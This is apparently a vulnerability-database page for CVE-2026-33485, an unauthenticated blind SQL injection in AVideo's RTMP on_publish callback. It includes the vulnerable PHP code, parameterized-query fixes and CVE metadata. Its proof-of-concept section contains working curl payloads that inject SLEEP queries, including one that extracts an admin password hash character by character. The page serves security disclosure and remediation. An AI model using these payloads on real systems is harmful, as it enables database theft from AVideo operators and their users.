Vulnerability-Lookup

GHSA-8P58-35C3-CCXX

Vulnerability from github – Published: 2026-03-20 20:47 – Updated: 2026-03-25 18:50

Summary

AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter

Details

Summary

The RTMP on_publish callback at plugin/Live/on_publish.php is accessible without authentication. The $_POST['name'] parameter (stream key) is interpolated directly into SQL queries in two locations — LiveTransmitionHistory::getLatest() and LiveTransmition::keyExists() — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data.

Details

Entry point: plugin/Live/on_publish.php — no authentication, no IP allowlist, no origin verification.

Sanitization (insufficient): Line 117 strips only & and = characters:

// plugin/Live/on_publish.php:117
$_POST['name'] = preg_replace("/[&=]/", '', $_POST['name']);

Injection point #1 — unconditional (no p parameter needed):

At line 120, $_POST['name'] is passed directly to LiveTransmitionHistory::getLatest():

// plugin/Live/on_publish.php:120
$activeLive = LiveTransmitionHistory::getLatest($_POST['name'], $live_servers_id, ...);

Inside getLatest(), the key is interpolated into a LIKE clause without escaping:

// plugin/Live/Objects/LiveTransmitionHistory.php:494-495
if (!empty($key)) {
    $sql .= " AND lth.`key` LIKE '{$key}%' ";
}

Injection point #2 — when $_GET['p'] is provided:

At line 146, $_POST['name'] is passed to LiveTransmition::keyExists():

// plugin/Live/on_publish.php:146
$obj->row = LiveTransmition::keyExists($_POST['name']);

Inside keyExists(), cleanUpKey() is called (which only strips adaptive/playlist/sub suffixes — no SQL escaping), then the key is interpolated directly:

// plugin/Live/Objects/LiveTransmition.php:298-303
$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
        . " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
        . " WHERE  `key` = '$key' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql);

Why readSql() provides no protection: When called without format/values parameters (as in both cases above), sqlDAL::readSql() passes the full SQL string — with the injection payload already embedded — to $global['mysqli']->prepare(). Since there are no placeholders (?) and no bound parameters, prepare() simply compiles the injected SQL as-is. The eval_mysql_bind() function returns true immediately when formats/values are empty.

PoC

Injection point #1 (unconditional — simplest):

# Time-based blind SQLi via getLatest() — no p parameter needed
curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5)) %23"

A ~5-second response time confirms injection. The payload: - Avoids & and = (stripped by line 117) - Avoids _ and - in positions where cleanUpKey() would split - Uses %23 (#) to comment out the trailing %'

Data extraction — character-by-character:

# Extract first character of admin password hash
curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live&name=' OR (SELECT SLEEP(5) FROM users WHERE id=1 AND SUBSTRING(password,1,1)='\\$') %23"

Injection point #2 (via keyExists):

curl -s -o /dev/null -w "%{time_total}" \
  -X POST "http://TARGET/plugin/Live/on_publish.php" \
  -d "tcurl=rtmp://localhost/live?p=test&name=' OR (SELECT SLEEP(5)) %23"

This reaches keyExists() at line 146, producing:

SELECT u.*, lt.*, lt.password as live_password FROM live_transmitions lt
LEFT JOIN users u ON u.id = users_id AND u.status='a'
WHERE `key` = '' OR (SELECT SLEEP(5)) #' ORDER BY lt.modified DESC, lt.id DESC LIMIT 1

Impact

An unauthenticated remote attacker can:

Extract all database contents via time-based blind SQL injection, including:
User password hashes (bcrypt)
Email addresses and personal information
API keys, session tokens, and live stream passwords
Site configuration and secrets stored in database tables
Authenticate as any user to the streaming system — extracted password hashes can be used directly as the $_GET['p'] parameter since on_publish.php:153 compares $_GET['p'] === $user->getPassword() against the raw stored hash, allowing the attacker to start streams impersonating any user.
Enumerate database structure — the injection can be used to query information_schema tables, mapping the entire database for further exploitation.

The first injection point (via getLatest()) is reached unconditionally on every request — no additional parameters beyond name and tcurl are required.

Recommended Fix

Use parameterized queries in both affected functions:

Fix LiveTransmition::keyExists() at plugin/Live/Objects/LiveTransmition.php:298-303:

$key = Live::cleanUpKey($key);
$sql = "SELECT u.*, lt.*, lt.password as live_password FROM " . static::getTableName() . " lt "
        . " LEFT JOIN users u ON u.id = users_id AND u.status='a' "
        . " WHERE  `key` = ? ORDER BY lt.modified DESC, lt.id DESC LIMIT 1";
$res = sqlDAL::readSql($sql, "s", [$key]);

Fix LiveTransmitionHistory::getLatest() at plugin/Live/Objects/LiveTransmitionHistory.php:494-495:

if (!empty($key)) {
    $sql .= " AND lth.`key` LIKE ? ";
    $formats .= "s";
    $values[] = $key . '%';
}

Fix LiveTransmitionHistory::getLatestFromKey() at plugin/Live/Objects/LiveTransmitionHistory.php:681-688:

if(!$strict){
    $parts = Live::getLiveParametersFromKey($key);
    $key = $parts['cleanKey'];
    $sql .= " `key` LIKE ? ";
    $formats = "s";
    $values = [$key . '%'];
}else{
    $sql .= " `key` = ? ";
    $formats = "s";
    $values = [$key];
}

All three fixes use the existing sqlDAL::readSql() parameterized binding support ("s" format for string, values array) which is already used elsewhere in the codebase.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33485"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:47:19Z",
    "nvd_published_at": "2026-03-23T15:16:34Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe RTMP `on_publish` callback at `plugin/Live/on_publish.php` is accessible without authentication. The `$_POST[\u0027name\u0027]` parameter (stream key) is interpolated directly into SQL queries in two locations \u2014 `LiveTransmitionHistory::getLatest()` and `LiveTransmition::keyExists()` \u2014 without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data.\n\n## Details\n\n**Entry point:** `plugin/Live/on_publish.php` \u2014 no authentication, no IP allowlist, no origin verification.\n\n**Sanitization (insufficient):** Line 117 strips only `\u0026` and `=` characters:\n```php\n// plugin/Live/on_publish.php:117\n$_POST[\u0027name\u0027] = preg_replace(\"/[\u0026=]/\", \u0027\u0027, $_POST[\u0027name\u0027]);\n```\n\n**Injection point #1 \u2014 unconditional (no `p` parameter needed):**\n\nAt line 120, `$_POST[\u0027name\u0027]` is passed directly to `LiveTransmitionHistory::getLatest()`:\n```php\n// plugin/Live/on_publish.php:120\n$activeLive = LiveTransmitionHistory::getLatest($_POST[\u0027name\u0027], $live_servers_id, ...);\n```\n\nInside `getLatest()`, the key is interpolated into a LIKE clause without escaping:\n```php\n// plugin/Live/Objects/LiveTransmitionHistory.php:494-495\nif (!empty($key)) {\n    $sql .= \" AND lth.`key` LIKE \u0027{$key}%\u0027 \";\n}\n```\n\n**Injection point #2 \u2014 when `$_GET[\u0027p\u0027]` is provided:**\n\nAt line 146, `$_POST[\u0027name\u0027]` is passed to `LiveTransmition::keyExists()`:\n```php\n// plugin/Live/on_publish.php:146\n$obj-\u003erow = LiveTransmition::keyExists($_POST[\u0027name\u0027]);\n```\n\nInside `keyExists()`, `cleanUpKey()` is called (which only strips adaptive/playlist/sub suffixes \u2014 no SQL escaping), then the key is interpolated directly:\n```php\n// plugin/Live/Objects/LiveTransmition.php:298-303\n$key = Live::cleanUpKey($key);\n$sql = \"SELECT u.*, lt.*, lt.password as live_password FROM \" . static::getTableName() . \" lt \"\n        . \" LEFT JOIN users u ON u.id = users_id AND u.status=\u0027a\u0027 \"\n        . \" WHERE  `key` = \u0027$key\u0027 ORDER BY lt.modified DESC, lt.id DESC LIMIT 1\";\n$res = sqlDAL::readSql($sql);\n```\n\n**Why `readSql()` provides no protection:** When called without format/values parameters (as in both cases above), `sqlDAL::readSql()` passes the full SQL string \u2014 with the injection payload already embedded \u2014 to `$global[\u0027mysqli\u0027]-\u003eprepare()`. Since there are no placeholders (`?`) and no bound parameters, `prepare()` simply compiles the injected SQL as-is. The `eval_mysql_bind()` function returns `true` immediately when formats/values are empty.\n\n## PoC\n\n**Injection point #1 (unconditional \u2014 simplest):**\n\n```bash\n# Time-based blind SQLi via getLatest() \u2014 no p parameter needed\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -X POST \"http://TARGET/plugin/Live/on_publish.php\" \\\n  -d \"tcurl=rtmp://localhost/live\u0026name=\u0027 OR (SELECT SLEEP(5)) %23\"\n```\n\nA ~5-second response time confirms injection. The payload:\n- Avoids `\u0026` and `=` (stripped by line 117)\n- Avoids `_` and `-` in positions where `cleanUpKey()` would split\n- Uses `%23` (`#`) to comment out the trailing `%\u0027`\n\n**Data extraction \u2014 character-by-character:**\n\n```bash\n# Extract first character of admin password hash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -X POST \"http://TARGET/plugin/Live/on_publish.php\" \\\n  -d \"tcurl=rtmp://localhost/live\u0026name=\u0027 OR (SELECT SLEEP(5) FROM users WHERE id=1 AND SUBSTRING(password,1,1)=\u0027\\\\$\u0027) %23\"\n```\n\n**Injection point #2 (via keyExists):**\n\n```bash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -X POST \"http://TARGET/plugin/Live/on_publish.php\" \\\n  -d \"tcurl=rtmp://localhost/live?p=test\u0026name=\u0027 OR (SELECT SLEEP(5)) %23\"\n```\n\nThis reaches `keyExists()` at line 146, producing:\n```sql\nSELECT u.*, lt.*, lt.password as live_password FROM live_transmitions lt\nLEFT JOIN users u ON u.id = users_id AND u.status=\u0027a\u0027\nWHERE `key` = \u0027\u0027 OR (SELECT SLEEP(5)) #\u0027 ORDER BY lt.modified DESC, lt.id DESC LIMIT 1\n```\n\n## Impact\n\nAn unauthenticated remote attacker can:\n\n1. **Extract all database contents** via time-based blind SQL injection, including:\n   - User password hashes (bcrypt)\n   - Email addresses and personal information\n   - API keys, session tokens, and live stream passwords\n   - Site configuration and secrets stored in database tables\n\n2. **Authenticate as any user to the streaming system** \u2014 extracted password hashes can be used directly as the `$_GET[\u0027p\u0027]` parameter since `on_publish.php:153` compares `$_GET[\u0027p\u0027] === $user-\u003egetPassword()` against the raw stored hash, allowing the attacker to start streams impersonating any user.\n\n3. **Enumerate database structure** \u2014 the injection can be used to query `information_schema` tables, mapping the entire database for further exploitation.\n\nThe first injection point (via `getLatest()`) is reached unconditionally on every request \u2014 no additional parameters beyond `name` and `tcurl` are required.\n\n## Recommended Fix\n\nUse parameterized queries in both affected functions:\n\n**Fix `LiveTransmition::keyExists()` at `plugin/Live/Objects/LiveTransmition.php:298-303`:**\n```php\n$key = Live::cleanUpKey($key);\n$sql = \"SELECT u.*, lt.*, lt.password as live_password FROM \" . static::getTableName() . \" lt \"\n        . \" LEFT JOIN users u ON u.id = users_id AND u.status=\u0027a\u0027 \"\n        . \" WHERE  `key` = ? ORDER BY lt.modified DESC, lt.id DESC LIMIT 1\";\n$res = sqlDAL::readSql($sql, \"s\", [$key]);\n```\n\n**Fix `LiveTransmitionHistory::getLatest()` at `plugin/Live/Objects/LiveTransmitionHistory.php:494-495`:**\n```php\nif (!empty($key)) {\n    $sql .= \" AND lth.`key` LIKE ? \";\n    $formats .= \"s\";\n    $values[] = $key . \u0027%\u0027;\n}\n```\n\n**Fix `LiveTransmitionHistory::getLatestFromKey()` at `plugin/Live/Objects/LiveTransmitionHistory.php:681-688`:**\n```php\nif(!$strict){\n    $parts = Live::getLiveParametersFromKey($key);\n    $key = $parts[\u0027cleanKey\u0027];\n    $sql .= \" `key` LIKE ? \";\n    $formats = \"s\";\n    $values = [$key . \u0027%\u0027];\n}else{\n    $sql .= \" `key` = ? \";\n    $formats = \"s\";\n    $values = [$key];\n}\n```\n\nAll three fixes use the existing `sqlDAL::readSql()` parameterized binding support (`\"s\"` format for string, values array) which is already used elsewhere in the codebase.",
  "id": "GHSA-8p58-35c3-ccxx",
  "modified": "2026-03-25T18:50:10Z",
  "published": "2026-03-20T20:47:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8p58-35c3-ccxx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33485"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/af59eade82de645b20183cc3d74467a7eac76549"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter"
}

CVE-2026-33485 (GCVE-0-2026-33485)

Vulnerability from cvelistv5 – Published: 2026-03-23 14:14 – Updated: 2026-03-25 14:17

Title

AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter

Summary

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the RTMP `on_publish` callback at `plugin/Live/on_publish.php` is accessible without authentication. The `$_POST['name']` parameter (stream key) is interpolated directly into SQL queries in two locations — `LiveTransmitionHistory::getLatest()` and `LiveTransmition::keyExists()` — without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data. Commit af59eade82de645b20183cc3d74467a7eac76549 contains a patch.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-25 14:15 UTC

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7895 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM
https://github.com/WWBN/AVideo/commit/af59eade82d…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
WWBN	AVideo	Affected: <= 26.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-33485",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-25T14:15:14.111625Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-25T14:17:20.198Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 26.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the RTMP `on_publish` callback at `plugin/Live/on_publish.php` is accessible without authentication. The `$_POST[\u0027name\u0027]` parameter (stream key) is interpolated directly into SQL queries in two locations \u2014 `LiveTransmitionHistory::getLatest()` and `LiveTransmition::keyExists()` \u2014 without parameterized binding or escaping. An unauthenticated attacker can exploit time-based blind SQL injection to extract all database contents including user password hashes, email addresses, and other sensitive data. Commit af59eade82de645b20183cc3d74467a7eac76549 contains a patch."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-89",
              "description": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-23T14:14:15.477Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8p58-35c3-ccxx",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-8p58-35c3-ccxx"
        },
        {
          "name": "https://github.com/WWBN/AVideo/commit/af59eade82de645b20183cc3d74467a7eac76549",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/WWBN/AVideo/commit/af59eade82de645b20183cc3d74467a7eac76549"
        }
      ],
      "source": {
        "advisory": "GHSA-8p58-35c3-ccxx",
        "discovery": "UNKNOWN"
      },
      "title": "AVideo has an Unauthenticated Blind SQL Injection in RTMP on_publish Callback via Stream Name Parameter"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-33485",
    "datePublished": "2026-03-23T14:14:15.477Z",
    "dateReserved": "2026-03-20T16:16:48.971Z",
    "dateUpdated": "2026-03-25T14:17:20.198Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-8P58-35C3-CCXX

Summary

Details

PoC

Impact

Recommended Fix

CVE-2026-33485 (GCVE-0-2026-33485)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour